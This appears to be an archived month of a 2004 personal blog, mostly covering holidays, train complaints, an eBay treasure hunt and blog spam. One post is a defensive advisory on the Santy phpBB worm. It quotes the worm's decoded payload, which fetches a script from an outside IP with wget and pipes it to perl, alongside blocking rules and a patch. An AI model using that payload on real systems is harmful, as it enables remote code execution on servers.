Friday, December 31, 2004

Happy new year!

Just a quick message to wish you all a happy new year. I'm off out now to party all through the night so I hope you have a good one and enjoy it. I got up late today so should be awake all night tonight and full of energy!

Happy new year!

Post ID: 614, posted by jase at 09:43 PM
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Thursday, December 30, 2004

TypeKey authentication enabled

I've now enabled TypeKey authentication as part of the Movable Type upgrade. Now, only TypeKey authenticated user comments will not be moderated and once I've sorted out MT Blacklist so that it works again since the upgrade, only comments that pass the blacklist rules will enter the moderation queue.

I've set things up so that anyone who is authenticated via TypeKey will be able to post freely as long as the blacklist rules are passed. These updates should see the end of any spam ever making it to the live pages, any that comes via TypeKey accounts can easily be removed and the account that is used can be banned.

Since upgrading, I noticed a few things were not working but I've sorted them out now, those issues were mainly interface related which were caused by me putting a few files in the wrong places when doing the upgrade, which I put down to the fact it was 6am and I needed to sleep.

Apart from the blacklist issues, everything appears to be fine. I've sorted some of the problems with it, but the remaining errors are not very informative about what is wrong, so I'll have to work on that.

Other than that, all that remains is to work on some other changes and additions which should come shortly, such as the odd few things that I want to add that have been appearing on other blogs as well as some other changes.

As the blog world moves forward and evolves we're finding more added to make them more viewable and fun, that is if you can use that word in relation to a blog.

Ben has also been busy working on his blog, cleaning up the spam and making the transition to WordPress, which should be noticed soon. Keep an eye on that as there should be some interesting things coming up, even though he's taken ages to get things sorted.

I've also added an Atom feed that you might want to use.

Post ID: 613, posted by jase at 05:05 AM
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Wednesday, December 29, 2004

I've upgraded!

After delaying it for a long time, I've finally upgraded to Movable Type v3.14. The upgrade went as planned without any problems, as far as the MT side goes. Everything appears to be working as it should, I've probably got some changes to make and some that I had wanted to do anyway so will work on getting those done soon since I've got more free time than usual, for a while at least.

I'm having a few problems with getting the latest version of MT Blacklist running correctly, but that might be down to me and the fact I've been up all night and could probably do with some sleep now. I'll continue with that and the other changes and updates later.

The main thing is I'm now able to enjoy one of the features of MT v3 that I've been looking forward to which is forced comment moderation, especially since MT-BL is not working right now and also the fact of all the recent "junk" spam, it'll save me having to delete a load of spam, since it'll never even make it to the live pages now and can sit in moderated state for a while, before I remove it.

There is more of a rush to remove spam when it makes it to the live pages because of the web crawlers picking it up and that's what the spammers want. Not removing spam from live pages causes links to your pages to show up for all kinds of search results you probably wouldn't want them to.

There's a whole list of other things that has and will make the update worthy of my time spent doing it, I'm sure you'll say the same if you currently run an older version of MT and decide to upgrade.

I've also paid for the personal license from Six Apart, to show my support which will also enable me to get support if required.

It's time for me to get some sleep.

Post ID: 612, posted by jase at 08:19 AM
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Tuesday, December 28, 2004

Pointless comment spam

Over the past few days, I along with a number of other people are seeing a lot of pointless spam being posted to our blogs. It's obviously an automated job, but the reasons behind it are not clear.

Since the URL that is included with each comment is random, along with the name and email address, there does not seem much point in the spam. Really, I'd class it as complete junk.

Apart from the name used always having two numbers at the end of it there appears to be no other pattern which is making it difficult to block, under my current setup. I'm sure there is a regular expression that can be used to resolve this issue though, taking advantage of the one pattern that does seem clear.

Post ID: 611, posted by jase at 11:12 PM
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Monday, December 27, 2004

Google helps stop Santy

Google has helped to stop Santy searching for vulnerable phpBB installs by blocking search requests that the worm is making. There are a number of variants now that are not just targeting phpBB but rather any PHP script, after some other issues have been found which could have an affect on quite a number of PHP based applications.

Running a search on the beta MSN search engine yields plenty of results which proves that the impact of Santy has been widespead. Due to the other issues that have been discovered it seems that upgrading to phpBB 2.0.11 and PHP 4.3.10 does not make you totally safe.

The source code to the original proof of concept phpBB exploit as well as the source to the Santy worm are available which will probably allow for the development of more variants that are exploiting similar vulnerabilities in other PHP based scripts.

Post ID: 610, posted by jase at 11:53 PM
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Sunday, December 26, 2004

Boxing Day

It's what we know as Boxing Day today, but there is not much boxing taking place that I know of. The reports of the massive earthquake has caused a lot of deaths, there is never a good time for a natural disaster to take place but at Christmas and the holiday period it's even worse.

It makes me and I'm sure a lot of other people glad that we live in places where this kind of thing does not happen. There is no more snow here and I didn't manage to grab any pictures before it melted, which was not very long. Hopefully there will be some early next year like there was earlier this year.

Post ID: 609, posted by jase at 10:53 PM
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Saturday, December 25, 2004

The snow has arrived

The bets were in, thinking about it now I wish I had of had a bet. The odds were recently reduced as word was spreading that we were going to have a white Christmas. After reading about snow on Jeremy Zawodny's blog and seeing a picture of how thick it has been falling in some parts of the world, I took and quick look out of the window and was shocked to see show on the ground and falling from the sky.

It's not very thick at the moment, but this is the first time we have had any snow on Christmas day in a long time. The climate is changing globally so we have not seen snow fall much for a long time, but a little is better than none!

That has put the icing on the cake for many children this Christmas. I'll probably get some pictures plus take some with my Nokia 6600 and post them on my moblog. I've been meaning to setup the handset and make sure it works with my setup so this is an ideal opportunity.

It was snowing here in January and March earlier this year, we'll probably see it fall from now through to around the same time next year so we might be lucky and see it fall quite a lot for the first time in ages. I should have some pictures to come later hopefully.

Post ID: 608, posted by jase at 10:17 PM
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More Gmail invites

A present from Google this Christmas must be more Gmail invites. I've got another five to give away. The first five people to leave their details in a comment on this post get one each.

If you've already got an account, leave them for people who do not have one, it is Christmas so don't be greedy. Although, there are plenty of places to pick up an invite these days.

Post ID: 607, posted by jase at 09:06 PM
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Friday, December 24, 2004

It's Christmas Eve

I hope you all get what you want. That is of course if Santa manages to complete his mission this year and visit each and every home. It was nice when I was younger thinking about all of that, but when you get to a certain age and know it is made up, the fun part is gone and never to return.

At least there will still be plenty of mince pies and other food to consume and plenty of drinks to drink!

Merry Christmas

Post ID: 606, posted by jase at 09:01 PM
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Thursday, December 23, 2004

Movable Type v3.14 released

The new version has recently been released to address the issues which have recently been reported, minaly in relation to the rebuilding of pages when a comment has been moderated. Rebuilds are no longer ececuted when a comment is moderated as there is no need and because of this process taking place regardless, some sites have experienced high server loads when being subjected to large spam attacks.

Check out the full announcement here and be sure to read the previous release regarding the issues and the up and coming fix which has now been released.

Post ID: 605, posted by jase at 08:46 PM
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Wednesday, December 22, 2004

Good news

Well after having two interviews on Monday, I've found out that I have been offered one of the jobs already. I'm just waiting for the paperwork to come through. I have not found out about the other one yet. I think I'll probably take the one I've already been offered for a number of reasons but we'll see.

I'll explain more when the documents come through which could be a few days since it is nearly Christmas and such. It looks like I'll now be spending most of my time in and around London.

Post ID: 604, posted by jase at 08:46 PM
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Tuesday, December 21, 2004

phpBB critical security issue

There is currently a worm spreading around the Internet that is searching for phpBB based message boards that are vulnerable. All previous versions are affected unless patched, except for the latest version which is 2. There may well be some manual exploitation taking place, but mainly this issue is being expolited by a worm called Santy.A , it's also known as a few other names.

I have heard of quite a few boards that have had content modified and because of the payload of this worm it has also been modifying html documents and images, to name a few. Exploiting the issue allows the worm to write a Perl script to a file on the server then run it, which allows the rest of the payload to be applied and also allows for the worm to start scanning for other vulnerable phpBB boards to compromise.

Aside from applying a patch orm upgrading, there are a few other things that can be done that some people have implemented, which could stop any attack by the worm before boards are updated which is handy if you run a server with a lot of sites running older versions of phpBB on it.

Creating a rewrite rule such as the following should help to provide a quick fix.

RewriteEngine On
RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR]
RewriteCond %{QUERY_STRING} ^(.*)esystem(.*)
RewriteRule ^.*$ - [F]

Or if you use mod_security in Apache you could use the following:

SecFilterSelective "THE_REQUEST" "(system|exec|passthru|popen|shell_exec|proc_open|fopen|fwrite)\s*\("

Some work has already been done to decode the payload, which has been reported as:

rush=echo _START_; cd /tmp;wget 128.174.137.230/bn -O .b; perl -pe y/thmvdw0987654321uoiea/aeiou1234567890wdvthm/ .b| perl; rm -f .b *.pl b0t*; echo _END_
highlight='.passthru($HTTP_GET_VARS[rush]).'

Modifying the following code in the file viewtopic.php will resolve the issue, if you don't want to upgrade:

$highlight_match = $highlight = '';
if (isset($HTTP_GET_VARS['highlight']))
{
// Split words and phrases
$words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));

for($i = 0; $i < sizeof($words); $i++)
{

Replace with:

$highlight_match = $highlight = '';
if (isset($HTTP_GET_VARS['highlight']))
{
// Split words and phrases
$words = explode(' ', trim(htmlspecialchars($HTTP_GET_VARS['highlight'])));

for($i = 0; $i < sizeof($words); $i++)
{

A lot of sites have already been defaced, another good reason to have a recent backup copy in addition to keeping updated on security issues and applying appropriate patches.

Post ID: 603, posted by jase at 11:51 PM
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Monday, December 20, 2004

Virgin Trains customer service quality is debatable

With having to go down south to London earlier today, I went by train as I usually would. I have a young persons discount rail card, which I normally carry but this time forgot to take. I had booked my tickets in advance and usually I don't even get asked for my pass by the train staff but this time, a certain member of staff who also happened to be the train manager wanted to see it.

When I told him I did not have it, he said that I would have to buy another ticket, although this could be refunded later I simply did not have the available funds on me to pay and I could not use my card because there was not enough available credit. Regardless of the fact you should carry it, they should be able to check up to see if you have got one, maybe not on the train but later on then they could send out an invoice afterwards. I provided my details, but thinking about it now I should have not bothered because they don't have to give their full names.

Another lady on the train also stated to this member of staff that not it works both ways with providing details. He did not give me any. If I do get a letter from them, there is no way on this earch I will be paying for another ticket since I had one and if they had a proper system they could have easily checked the appropriate database to confirm that I do have a discount card which means that my discounted ticket was valid.

To top it all off, not only was this member of staff rude an unprofessional, he also took my return ticket as I gave it to him when he requested it thinking I was going to get it back. He would not give it me back. If I had of not been dressed in my suit, I probably would not have hesitating in giving this unprofessional staff member, to point it nicely - What he deserved.

I was not really annoyed anough to take it that far and being on train full of people as well as being smartly dressed I avoided that. I didn't even give him any verbal abuse however he was saying a lot of rubbish to me. He made a call, I thought he was checking my details but he did not while I was there. Apart from having a bad start to the day, the rest of it went well. Thinking about it I should have just given him bogus information since he did not have the decency to provide his full name.

I'm just waiting for the letter to come through now, if it does I really will have some fun. If their system worked, if there was even a proper system in place, what would happen now is nothing. Since they would check the appropriate database and find I was not in the wrong.

I'm sorry, I made the mistake of forgetting my young persons discount card. Yes, that is correct it was my intention to do that and I should be made to buy another ticket because they don't have a real system in place that allows this database to be checked either on the train or later on before sending out letters to people.

They had better not waste the paper and ink, it can demand money, a court date or anything really. The only place it'll be going after my reply is in the bin.

Innocent until proven guilty. Unless forgetting a discount card is a crime. They say that the terms and conditions state that you must have the card to make the ticket valid. Fair enough, I could have got a refund on another ticket later, but how was I meant to do this when I had no viable way of buying the ticket again on the train?

Virgin Trains and the other providers need to sort it out. They also need to sort out the reliability of trains, most of the time you simply cannot relay on a train in this country.

So this is another in the series of my debatable customer services series of posts, I'm sure it will not be the last. I'm not really one for complaining officially but I usually air my views. I've got some updates on some that have featured previously, where I have written letters and nothing has improved and my previous issues have still not even been addressed in some cases, more on those shortly.

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Sunday, December 19, 2004

London again

I'm going to London tomorrow during the day to do some more things but more about those things later. I've got a load of things to catch up on, maybe I'll spend some time over the next few days getting on top of them.

The London trip should be good, but more on that later.

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Saturday, December 18, 2004

MT server load issues

Some of you out there that have blogs that are powered by Movable Type will have recently experienced problems relating to high server load caused by a number of bugs in MT and the way it handles the rebuilding of pages. I can't say I have had any problems myself, but it looks like it is mainly relating to the newer versions of MT.

A fix will be out the door shortly and MT-Blacklist will be updated as well to help eliminate any issues relating to large spam attacks.

You can check out the full details here from Jay Allen. On another note, be sure to keep your blacklist updated from the master, check out my blacklist if you want to import that as well.

Post ID: 600, posted by jase at 08:32 PM
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Friday, December 17, 2004

Not at work

I've not been at work today, so I have spent the day doing nothing. It makes a change. I've not bothered with Ebay today either since the prizes are mini iPod units and I'm getting one of the 60GB units soon.

I'm off out clubbing now, so enjoy the hunt or whatever else you are doing!

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Thursday, December 16, 2004

Ebay Treasure Hunt search tactics

I thought about this before, but it seems that people are running blank searches on Ebay UK to help them find new listings, which helpds find the prizes without any work. I'm sure Ebay will fix this but is it classed as cheating?

I would say no, but others would not agree. Working a system to your advantage when everybody can do the same, is not really cheating but it depends how you look at it. Today PS2 consoles are up for grabs, I've already got one so I'll not bother searching.

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Wednesday, December 15, 2004

What a nice ring

The winner of the prize today will be happy, it's worth a lot of money. It's a shame there is only one available though. Not knowing the time it will be going on the listings and being at work does not help my chances of winning it. I could really do with being at home and spending all day working on gathering search criteria, like some people are doing!

Post ID: 597, posted by jase at 12:19 PM
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Tuesday, December 14, 2004

Nothing so far

I've not yet won anything on the Ebay Treasure Hunt yet but I shall keep trying. I'd prefer there to be more days of less value prizes so that there are more of them. People are getting tired of not even coming close and when there is only one prize to be won it makes it frustrating!

Omega watches are up for grabs today!

Post ID: 596, posted by jase at 12:14 PM
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Monday, December 13, 2004

Bose home cinema systems to be won

The Ebay Treasure Hunt prizes today are home cinema systems by Bose. A nice prize but again less of them to win. The clue today is "MISTLETOE". There are a lot of obvious things to think of so fingers crossed. It seems that there are a lot of people working on the hunt instead of doing other things, like going to work.

I don't blame them, I should do the same. Especially when at the moment I am so annoyed at the situation I am in, with regards to the travel and unsociable hours I have to deal with.

The hunt continues.

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Sunday, December 12, 2004

Ebay hunt cryptic hints

Some of the hints that Ebay have been posting have been quite cryptic but it seems that people are still working them out quite quickly. From reading the forums I've seen that people are using different methods to search for their kewords constantly. I have formed a team with a few people and we have been coming up with ideas, although we have been along the right lines and even right on some of them, we've still been too slow or not around and monitoring Ebay at the right time.

If only there were more prizes of less value, rather than less of more value which is what we have been seeing. Great if you win a higher value prize but for most people, nothing but the feeling of being unlucky.

Today the prizes are Sony Vaio laptops, one every hour which is nice. Yesterday there were digital camcorders every hour, even better at two per hour. Tomorrow, the prizes and amount are still to be announced.

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Saturday, December 11, 2004

So close

Yet so far. I'm one of the many people that has been having a go on the Ebay Christmas Treasure Hunt. I have been close, but always missed the right listing by a short time. I've come up with some ideas and I'm sure other people have done the same, to try and help with locating the prizes.

Working with other people can help, sometimes the winning listing uses words that are really close to the word of the day or one of the clues or the form an anagram of the word of the day, for example. From what I have read some people are loosing a lot of sleep over this hunt and I don't blame them because I don't know anyone that would pass on the chance to win some of these prizes.

Fingers crossed I might get there quick enough on one of them but you need to be on the right track and there is no way of really knowing.

Post ID: 593, posted by jase at 10:15 PM
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Friday, December 10, 2004

Ebay UK Christmas Treasure Hunt

The Ebay UK Christmas Treasure Hunt has recently started so the rush is on to win some of the many prizes up for grabs. With daily clues and prizes every hour from laptops to camcorders you'd be mad not to have a go!

The hunt has been running since Monday and continues until the 3rd of January 2005 so there is plenty of time to try and win a prize. In some respects it can be easy, but mostly it is harder than it seems!

Good luck!

Post ID: 592, posted by jase at 07:17 PM
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Thursday, December 9, 2004

Server upgrade

I'm having some more memory and another hard disk installed in the server my blog is hosted on today. The system was using quite a lot of swap so more memory will address that and although another hard disk is not required, it'll be used for backup & extra storage.

Eventually I'll probably have the system running a RAID 1 mirror which will go hand in hand with the existing Veritas tape backup, although this might be changed to automated disk based offsite backup combined with automated Rsync backups as well at some point.

Post ID: 591, posted by jase at 09:52 PM
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Wednesday, December 8, 2004

Blocking spam comments

I've recently started to add single words to my blacklist which has blocked a lot of spam that would have got through otherwise. I just saw a post from Jay Allen about this as well, I think this will be the way forward in combination with blocking domains and using regular expressions.

I'm still to upgrade to MT v3 and MT-BL v2 but in the mean time and even after the upgrades, I think adding certain words will make spam a lot easier to block. For example, I have in the past few months been getting a lot of spam with "texas" & "holdem" in the contents of the comments. Since there were so many different domains getting through, some with the words in the domain and some not, it made more sense to block words such as "holdem".

That solved that issue straight away. There have been more instances as well. Looking back through the activity log I can see plenty of attempts using certain words such as "mortgages" and since the chance of this word being used in a genuine comment is far less than spam ones it makes sense to block the word. I have found that this approach is working pretty well. Of course, any blocked words that might want to be used by genuine users can still be posted in a modified form.

Now, why didn't we start doing this earlier?

Post ID: 590, posted by jase at 10:39 PM
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Tuesday, December 7, 2004

Google images index

One annoying thing with Google image search is that a lot of the links are dead. It stores the smaller copy of an image, but most of the time when I try to view the full size version the image is not longer available. The index needs to be cleaned up and the dead links removed. I would think it would be easy enough to do automatically by just checking each link for a 404 or other error.

It would make the index of images a lot cleaner. Maybe it already happens, but if it does obviously not very well. At least the main search index is much cleaner, I don't come over many dead links.

Post ID: 589, posted by jase at 04:26 PM
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Monday, December 6, 2004

The urge & desire to buy things

I always end up spending a load of money on vinyl when I go searching for records. I'll only be looking for one thing and end up buying a load of records. It's not just with ordering vinyl though, it happens when I am shopping online for other things too. I know what is to blame though. Something we all know and love, the good old search feature. It allows us to find what we want, but along with features such as personal recommendations and information about what other customers purchased it can become and deadly tool. I've noticed this quite a lot, on various sites. It is great marketing and using my own experiences as an example they really make me end up spending more money.

I bet I am not the only one who has fallen down in the path of these marketing strategies. The problem is being able to resist the temptation. I sometimes find this hard because when I have desire for something, I get it. When it comes to buying things, cost usually does not form part of the equation to deciding on the purchase especially when the techniques above have been implemented.

Since it is so easy to point and click, is it any surprise that Internet based shopping is growing on a massive scale? Not really. I've read that online shopping may well overtake traditional methods this Christmas due to the fact people can find better deals online, search for exactly what they want instead of spending time going to stores & locating the goods and then waiting around in queues for hours. Online shopping is a lot more attractive in these respects and since more people now have broadband at home it means that the whole experience can be a good one.

As time goes on I can see more things being implemented to allow for quicker and more prodictive shopping to happen online and along with these features will come more purchases, simple because it's so easy which is not something you can hold off if you really like buying things. It's time to destroy and credit cards you might have!

I wonder if there have been any cases of people suing companies because they allowed someone to spend too much money and cause them problems?

As mad as it sounds, I bet there has been.

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Sunday, December 5, 2004

Finally, Halo 2 has arrived

Finally Halo 2 has arrived. Not the original copy I ordered though, it seems that copy is lost in the system or has been stolen. It always happens when you order something and want it quickly. Since I got it yesterday I have been playing on it a little bit and I like it. Some of the games you can play are great and being on Xbox Live, no lag is experienced and it all works nicely.

I tend to play games online more than playing the usual single player where you complete levels. I'll check out what single player is like soon but I don't really tend to play those kind of games much especially when there is a multiplayer online option instead, be it Xbox Live or online on the PC or PS2.

There was a chance to play Halo 2 on the cinema screen this weekend, I was meant to go and check it out but I did not bother in the end. It would have been good though, as it is great on the smaller screen too.

Being able to link your Xbox Live account to the Bungie site allows you to see your statistics and such which is another good thing. You can add people to your friends list as well to easily setup games which is handy. I've not checked out many of the different game styles you can play yet but I like what I have seen so far. Halo 2 is another great game to add to the list of good online enabled games recently. Others include Doom 3 & Half Life 2. I'm yet to get HL2 but will so shortly I think. Doom 3 on the PC is good and I'll probably get it for the Xbox too.

Now that there are a lot of Xbox Live titles available I think I'll have to go through checking them out to see which ones I want to get. There is quite a few I can think of, some of which people I know have got so that makes it more fun when you are playing people you know and hopefully beating them!

I can see me spending a lot of time now playing games, time is something we could all do with more of. When the day comes when my business operations allow for me to cover my salary then I'll have more time for doing what I want.

I think the new schemes that companies in the UK are introducing is great. You buy more holiday. In other words, get paid a bit less but get more time off. People and times are changing. No longer do people want to be spending their life working, instead they want to be living life, doing what they want to be doing. Hopefully more companies will take this idea and make it reality.

At least you'll have the choice, which is the most important thing. For me, I'll just take the option of running my own business operations where I am the risk taker rather than working for someone else who is. With risk, comes rewards.

So, it all depends on what you are. Are you a risk taker that wants to be free to do as you please or are you someone who will leave the risks to someone else but also let them take all the rewards?

I know which I am, it's time to change & enjoy life even more!

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Saturday, December 4, 2004

Catch a train or maybe not?

I've had it with trains. In this country, the service seems to be getting worse. If it is not one thing, it's another. When you have to rely on trains or any form of transport you would expect the service to be half decent. It is always the way that when you are in a rush, some issue appears that causes a delay. Maybe these delays are always or mostly evident but we don't notice them so much but they really stick out when you need to be somewhere at a speific time.

The most annoying thing is that I can be on time, waiting for the train but because something out of my hands happens which causes a delay, the rest of my trip plan becomes viod and I'm then running late which can be very frustrating when it continally happens. I'll consider making it part of my daily routine soon so that I change my journey plan to incorporate the fact something is going to happen.

The national rail services have to deal with more than the tube networks so more delays occur but even so, there are other countries that have a really good national rail service far better than the one found here in the UK.

Now, one would normally come up with a plan or change a current plan, as I have done. What would be a lot better is being able to not have to use public transport all the time. It would be nice, but I don't have a choice at the moment and it is not having the choice which is the most annoying part because if I did have a choice I'd obviously choose the other or one of the other options.

What fun it is going to be over the up and coming holiday period. I'm not going to name and shame a certain provider on this issue as it is a combined effort of a number of providers and industry regulators that are to blame. Not very good timing of track works and such all add to the problems.

Sort it out!

Post ID: 586, posted by jase at 11:34 PM
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Friday, December 3, 2004

Ultima GTR

The guys over at Ultima Sports have achieved a new world record, the Ultima GTR is now oficially the worlds fastest production road legal car, taking the title for the fastest time from 0-60, 0-100 & 0-100-0 MPH.

It clocks in at:

0-60: 2.7 secs
0-100: 5.5 secs
0-100-0: 10.3 secs

It beats the Maclaren F1, Ferrari Enzo, & Porsche Carrera GT to name a few. One of the main differences with the Ultima GTR is that it is a kit car but you can buy one in ready made if you desire. The price tag on the GTR is also more affordable for most people as with the other cars and indeed most things, you're usually paying mostly for the name but if you would rather go all the way on specifications and statistics with a car, you'd be better off going for an Ultima GTR.

Being made in Leicester it is a British Company and quite local to me. I'll probably get one myself when I have the money, I'm not sure if I would go for it before or after the other car on my list, a Techart GT Street S or maybe by the time I can get either, I'll have changed my mind again. Check out some videos to see what the GTR can do.

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Thursday, December 2, 2004

It's December already!

Another year nearly over and the summer here has long gone. With only Christmas left, it will soon be time for people to start thinking about their resolutions for the new year. I don't tend to bother, bt maybe I will think of something to start or stop doing soon.

Since it's the time to stsrt buying presents, lets of people will be out shopping a lot and thinking of things to buy. I tend to do things last minute. More people will be doing their gift shopping online and I don't blame them. For a start, you will save hours simply by using search features on sites and also being able to easily compare prices on sites such as Kelkoo will mean savings will be made. It is a lot more trouble comparing prices when you are actually out shopping but online it could not be easier. No wondering around, no time lost going from store to store & no waiting around in a queue.

There are times when going to a shop is better. Some things, although you can buy online are better being seen in the flesh. Some items are still worth buying online for cheaper prices, but initially check them out in a shop first. Examples might be clothes or electronic goods, for me personally anyway.

I'm going to try and restrict my spending on items for myself and try and save more money in 2005, since I'm going to be investing a lot in the markets and other areas as well as investing in my business operations. In the end, my plans shoud allow me to build up a nice portfolio and supply the financial backing for me to buy and do pretty much anything I want to.

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Wednesday, December 1, 2004

Lost in the post

I recently ordered a few games, including Halo 2. Out of the ones I ordered, Halo 2 was the one I wanted to get more quickly than the others as this was new and the only one I had not yet played since it has only just been released.

Over two weeks later and it has not yet arrived, either lost in the post or stolen by someone. I've requested that another copy be sent, but it'll not be here until next week. I've had other things go missing in the post before. No idea where, but it does not help when some companies put their name all over the package and then also don't send the package recorded delivery. It's just asking for trouble.

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